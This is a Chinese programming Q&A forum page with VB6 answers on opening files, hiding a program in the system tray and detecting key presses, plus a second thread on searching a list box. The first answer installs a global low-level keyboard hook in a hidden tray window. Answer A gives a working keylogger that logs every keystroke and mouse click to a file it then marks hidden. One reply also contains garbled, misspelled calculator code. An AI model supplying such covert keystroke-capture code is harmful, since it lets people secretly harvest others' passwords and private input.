关于VB6.0的问题

Posted 2023-04-09

我想用VB来打开外部的文件(比如说D:\XXX.XXX)
请问是要写什么语句
还有问下,什么语句可以使VB生成的EXE后台化(就是使他不出现在屏幕上,也不是最小 化.而是跑到屏幕右下角的时间的那个栏里 )

最后一个问题就是如何是VB监视键盘,并可以对我设置的某个键(比如我设置监视到有F1键后作出反应)的语句
请问高手可以把源码写出来不?

建一个模块Module1.Bas。把各自的代码写在相应的部位。三个功能全部实现。1.打开的文件名请自己修改。2.可以。3.监视你说的F1键。
＝＝＝＝＝＝＝＝＝Module1.Bas＝＝＝＝＝＝＝＝＝
Option Explicit

Public Const MAX_TOOLTIP As Integer = 64
Public Const NIF_ICON = &H2
Public Const NIF_MESSAGE = &H1
Public Const NIF_TIP = &H4
Public Const NIM_ADD = &H0
Public Const NIM_DELETE = &H2
Public Const WM_MOUSEMOVE = &H200
Public Const WM_LBUTTONDOWN = &H201
Public Const WM_LBUTTONUP = &H202
Public Const WM_LBUTTONDBLCLK = &H203
Public Const WM_RBUTTONDOWN = &H204
Public Const WM_RBUTTONUP = &H205
Public Const WM_RBUTTONDBLCLK = &H206

Public Const SW_RESTORE = 9
Public Const SW_HIDE = 0

Public nfIconData As NOTIFYICONDATA

Public Type NOTIFYICONDATA
cbSize As Long
hWnd As Long
uID As Long
uFlags As Long
uCallbackMessage As Long
hIcon As Long
szTip As String * MAX_TOOLTIP
End Type

Public Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long
Public Declare Function Shell_NotifyIcon Lib "shell32.dll" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, lpData As NOTIFYICONDATA) As Long

Public Type EVENTMSG
vKey As Long
sKey As Long
flag As Long
time As Long
End Type
Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Long) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public mymsg As EVENTMSG
Public Const WH_KEYBOARD_LL = 13
Public Const WM_KEYDOWN = &H100
Public hHook&, i%, appStr$, SBUF$, pos1$(), pos2$()
Const KBH_MASK = &H20000000
Sub ints()
appStr = "从" & Now & "开始键盘记录如下..." & vbCrLf
SBUF = "96_0|97_1|98_2|99_3|100_4|101_5|102_6|103_7|104_8|105_9|106_*|107_+|109_-|110_.|111_/|13_Enter|144_NumLock|65_A|66_B|67_C|68_D|69_E|70_F|71_G|72_H|73_I|74_J|75_K|76_L|77_M|78_N|79_O|80_P|81_Q|82_R|83_S|84_T|85_U|86_V|87_W|88_X|89_Y|90_Z48_0|49_1|50_2|51_3|52_4|53_5|54_6|55_7|56_8|57_9|192_`|189_-|187_=|220_\|8_BACKSpace|44_Print|45_InSert|46_Delete|145_ScrollLock|36_Home|35_End|19_PauseBreak|33_PageDown|34_PageUp|38_上|40_下|37_左|39_右|27_Esc|112_F1|113_F2|114_F3|115_F4|116_F5|117_F6|118_F7|119_F8|120_F9|121_F10|122_F11|123_F12|9_TAB|20_CapsLock|160_左Shift|162_左Ctrl|91_左Win|13_右Enter|161_右Shift|92_右Win|93_右List|163_右Ctrl"
pos1 = Split(SBUF, "|"): ReDim pos2$(256)
For i = 0 To UBound(pos1) - 1
pos2(Val(pos1(i))) = Mid(pos1(i), InStr(1, pos1(i), "_") + 1)
Next
End Sub
Public Function MyKBHook(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
If ncode = 0 Then
If wParam = WM_KEYDOWN Then
CopyMemory mymsg, ByVal lParam, Len(mymsg)
If pos2(mymsg.vKey) = "F1" Then
MsgBox "你按下F1键了。"
MyKBHook = 1
Exit Function
End If
End If
End If
MyKBHook = CallNextHookEx(hHook, ncode, wParam, lParam)
End Function
＝＝＝＝＝＝＝＝＝Form1.Frm＝＝＝＝＝＝＝＝＝＝＝
Private Sub Form_Activate()
Open "d:\a.txt" For Input As 1 '这里的文件名请自己修改
Do While EOF(1) = False
Dim s As String
Line Input #1, s
Print s
Loop
Close
End Sub

Private Sub Form_Load()
With nfIconData
.hWnd = Me.hWnd
.uID = Me.Icon
.uFlags = NIF_ICON Or NIF_MESSAGE Or NIF_TIP
.uCallbackMessage = WM_MOUSEMOVE
.hIcon = Me.Icon.Handle
.szTip = App.Title + "(版本 " & App.Major & "." & App.Minor & "." & App.Revision & ")" & vbNullChar
.cbSize = Len(nfIconData)
End With
Call Shell_NotifyIcon(NIM_ADD, nfIconData)
Me.Hide
KeyPreview = 1: ScaleMode = 3: AutoRedraw = 1
Module1.ints
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf MyKBHook, App.hInstance, 0)
If hHook = 0 Then End
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Call Shell_NotifyIcon(NIM_DELETE, nfIconData)
Call UnhookWindowsHookEx(hHook)
End Sub
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Dim lMsg As Single
lMsg = X / Screen.TwipsPerPixelX
ShowWindow Me.hWnd, SW_RESTORE
End Sub 参考技术A '---用VB来打开外部的文件(比如说D:\123.txt) -----------
打开D:\123.TXT 在原有内容下增加内容.
open d:\123.txt for append as #1
print #1,"内容"'这里也可以替换成TEXT1之类的.
close #1
打开D:\123.TXT 替换原有内容.
open d:\123.txt for output as #1
print #1,"内容"'这里也可以替换成TEXT1之类的.
close #1
打开D:\123.TXT读出内容到text1.text.
dim str1 as string
open d:\123.txt for input as #1
do while not eof(1)
line input #1,str1
text1.text=text1.text+str1+vbcrlf
loop
close #1
'----------------------------------------------------
'---------------------任务托盘----
新建立一标准exe程序,在form1中添加一command按钮,然后把下在的代码复制过去就可以解决!解决了乱码的问题,XP+VB6测试通过!
Private Declare Function Shell_NotifyIcon Lib "shell32.dll" (ByVal dwMessage As Long, lpData As NOTIFYICONDATA) As Long
Const NIM_ADD = &H0
Const NIM_DELETE = &H2
Const NIF_ICON = &H2
Const NIF_MESSAGE = &H1
Const NIF_TIP = &H4
Const WM_MOUSEMOVE = &H200
Const WM_LBUTTONDBLCLK = &H203
Private Type NOTIFYICONDATA
cbSize As Long
hWnd As Long
uId As Long
uFlags As Long
uCallBackMessage As Long
hIcon As Long
szTip As String * 64
End Type
Dim tray As NOTIFYICONDATA
Private Sub Command1_Click()
tray.cbSize = Len(tray)
tray.uId = vbNull
tray.hWnd = Me.hWnd
tray.uFlags = NIF_TIP Or NIF_MESSAGE Or NIF_ICON
tray.uCallBackMessage = WM_MOUSEMOVE
tray.hIcon = Me.Icon
tray.szTip = "测试" & vbNullChar
Shell_NotifyIcon NIM_ADD, tray
Me.Hide
End Sub
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Dim msg As Long
msg = X / 15
If msg = WM_LBUTTONDBLCLK Then
Me.Show
Shell_NotifyIcon NIM_DELETE, tray
End If
End Sub
这里是通过单击command1按纽实现的。你可以改成你想要的。
'-------------------------------------------
'-----------------监视键盘.---------------------
'API声明.
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
'在窗体上加一个timer1控件,将interval 设置成 100左右

Private Sub Timer1_Timer()
X = GetAsyncKeyState(112)'112是F1不建议设置,因为按F1就会显示帮助. 113是F2 依次类推/
If X = -32767 Then
'加入想要按下F1后做出反应的程序
End If
End Sub

'------记录键盘按键.-------加一个TEXT1控件 2个timer控件 代码如下.---
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Timer1_Timer()
For i = 32 To 256
X = GetAsyncKeyState(i)
If X = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
X = GetAsyncKeyState(186)
If X = -32767 Then
Text1.Text = Text1.Text + ";"
End If
X = GetAsyncKeyState(187)
If X = -32767 Then
Text1.Text = Text1.Text + "="
End If
X = GetAsyncKeyState(188)
If X = -32767 Then
Text1.Text = Text1.Text + ","
End If
X = GetAsyncKeyState(189)
If X = -32767 Then
Text1.Text = Text1.Text + "-"
End If
X = GetAsyncKeyState(190)
If X = -32767 Then
Text1.Text = Text1.Text + "."
End If
X = GetAsyncKeyState(191)
If X = -32767 Then
Text1.Text = Text1.Text + "/"
End If

'------------------------------
'数字的虚拟键
X = GetAsyncKeyState(96)
If X = -32767 Then
Text1.Text = Text1.Text + "0"
End If
X = GetAsyncKeyState(97)
If X = -32767 Then
Text1.Text = Text1.Text + "1"
End If
X = GetAsyncKeyState(98)
If X = -32767 Then
Text1.Text = Text1.Text + "2"
End If
X = GetAsyncKeyState(99)
If X = -32767 Then
Text1.Text = Text1.Text + "3"
End If
X = GetAsyncKeyState(100)
If X = -32767 Then
Text1.Text = Text1.Text + "4"
End If
X = GetAsyncKeyState(101)
If X = -32767 Then
Text1.Text = Text1.Text + "5"
End If
X = GetAsyncKeyState(102)
If X = -32767 Then
Text1.Text = Text1.Text + "6"
End If
X = GetAsyncKeyState(103)
If X = -32767 Then
Text1.Text = Text1.Text + "7"
End If
X = GetAsyncKeyState(104)
If X = -32767 Then
Text1.Text = Text1.Text + "8"
End If
X = GetAsyncKeyState(105)
If X = -32767 Then
Text1.Text = Text1.Text + "9"
End If
'--------------------------------------
X = GetAsyncKeyState(13)
If X = -32767 Then
Text1.Text = Text1.Text + " (Enter) "
End If
'--------------------------------------
'鼠标的虚拟键
X = GetAsyncKeyState(1)
If X = -32767 Then
Text1.Text = Text1.Text + " (LeftMouseClick) "
End If

X = GetAsyncKeyState(118)
If X = -32767 Then
Text1.Text = Text1.Text + " (RightMouseClick) "
End If
'--------------------------------------
X = GetAsyncKeyState(8)
If X = -32767 Then
Text1.Text = Text1.Text + " (Backspace) "
End If
'--------------------------------------
Next i
End Sub

Private Sub Timer2_Timer()
Open "d:\message.txt" For Output As #1
Write #1, Text1.Text
Close #1
Call SetAttr("d:\message.txt", vbHidden)
End Sub

不懂的地方加QQ:343775271. 参考技术B 。。你的意思是执行D:\XXX.XXX，就像在explorer里双击吧，你可以这样
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

ShellExecute Me.hwnd, "open", "d:\XXX.XXX", vbNullString, "d:\", 1 参考技术C 双击按钮,写入以下代码:
shell"D:\XXX.XXX"
运行-单击按钮看看 参考技术D 打开外部文件用Shell,其他的到黑客网站去找。 第5个回答  2021-12-13 回答

您好，我不太明白你说的意思，请你详细说明一下问题，方便我为你解答。

提问

就是这三段代码都是干什么的

有什么作用，这是简易计算器的代码

回答

你好，这边看不到图片内容，很抱歉

提问

End Sub

回答

Dim a As Single Dim b As Sinde Dim c As Sindle Dim d As Single Option Explicit privateSubCommand DClickO If Text1. Text =" 0 ＂ Then Text1.Text=＂0” End If If Text1. Text > " 0 ” Then Text1. Text =Text1. Text +“ 0“End If End Sub Private Sub Comm andl _ ClickO Text1. Text =Text1. Text + Command1. Caption If Text1. Text ="01” Then Text1. Text =“1” End If 您好，我不太明白你说的意思，请你详细说明一下问题，方便我为你解答。



vb6关于list列表搜索下一个的问题

现在已经实现了模糊搜索，但只能搜索第一个数值，无法搜索下一个，请问该怎样实现
Private Sub Command6_Click()
For i = 0 To List1.ListCount - 1
List1.ListIndex = i
If InStr(List1.List(i), Text1.Text) <> 0 Then
Me.Caption = List1.List(i)
MsgBox "恭喜你，找到了。。。" & vbCrLf & vbCrLf & List1.List(i)
Exit Sub
End If
Next
End Sub

这个代码可以支持非全字匹配、不区分大小写、查找下一个。
Private Sub Command6_Click()
Dim a, b As String
For i = 0 To List1.ListCount - 1
a = LCase(List1.List(i))
b = LCase(Text1.Text)
If Len(a) >= Len(b) Then
For j = 1 To Len(a) - Len(b) + 1
If b = Mid(a, j, Len(b)) Then
c = MsgBox("找到：" & List1.List(i) & "，是否继续查找？", 36)
If c = 7 Then
List1.ListIndex = i
Exit Sub
End If
End If
Next
End If
Next
MsgBox "没有找到相符项。", 16
End Sub
在VB上试过，效果正确。 参考技术A Private Function FindNext(strText As String,lstSoure As ListBox,Optional nStart As Long = 0) As Long
With lstSource
For FindNext = nStart To .ListCount -1
If Instr(.List(FindNext),strText) Then _
Exit Function
Next FindNext
End With
FindNext = -1
End Function

Private Sub Command6_Click()
Dim pos As Long
pos = FindNext(Text1.Text,List1)
If pos <> -1 Then
Me.Caption = List1.List(pos) '默认从第0个开始找
MsgBox "恭喜你，找到了。。。" & vbCrLf & vbCrLf & List1.List(pos)
End If
pos = FindNext(Text1.Text,List1,pos + 1) '从当前位置的下一个开始找
If pos = -1 Then
MsgBox "未找到"
Else
MsgBox "下一个为 " & List1.List(pos)
End If
End Sub 参考技术B 本来还不想弄程序的~ 偶尔看到你这题目，觉得简单，就给你弄了个~
代码如下，剩下的自己修改吧。

Private Sub Command6_Click()
Dim i As Long
For i = List1.ListIndex + 1 To List1.ListCount - 1
If InStr(List1.List(i), Text1.Text) <> 0 Then
List1.ListIndex = i
Me.Caption = List1.List(i)
MsgBox "恭喜你，找到了。。。" & vbCrLf & vbCrLf & List1.List(i)
Exit Sub
End If
Next
List1.ListIndex = -1
MsgBox "Finish!"
End Sub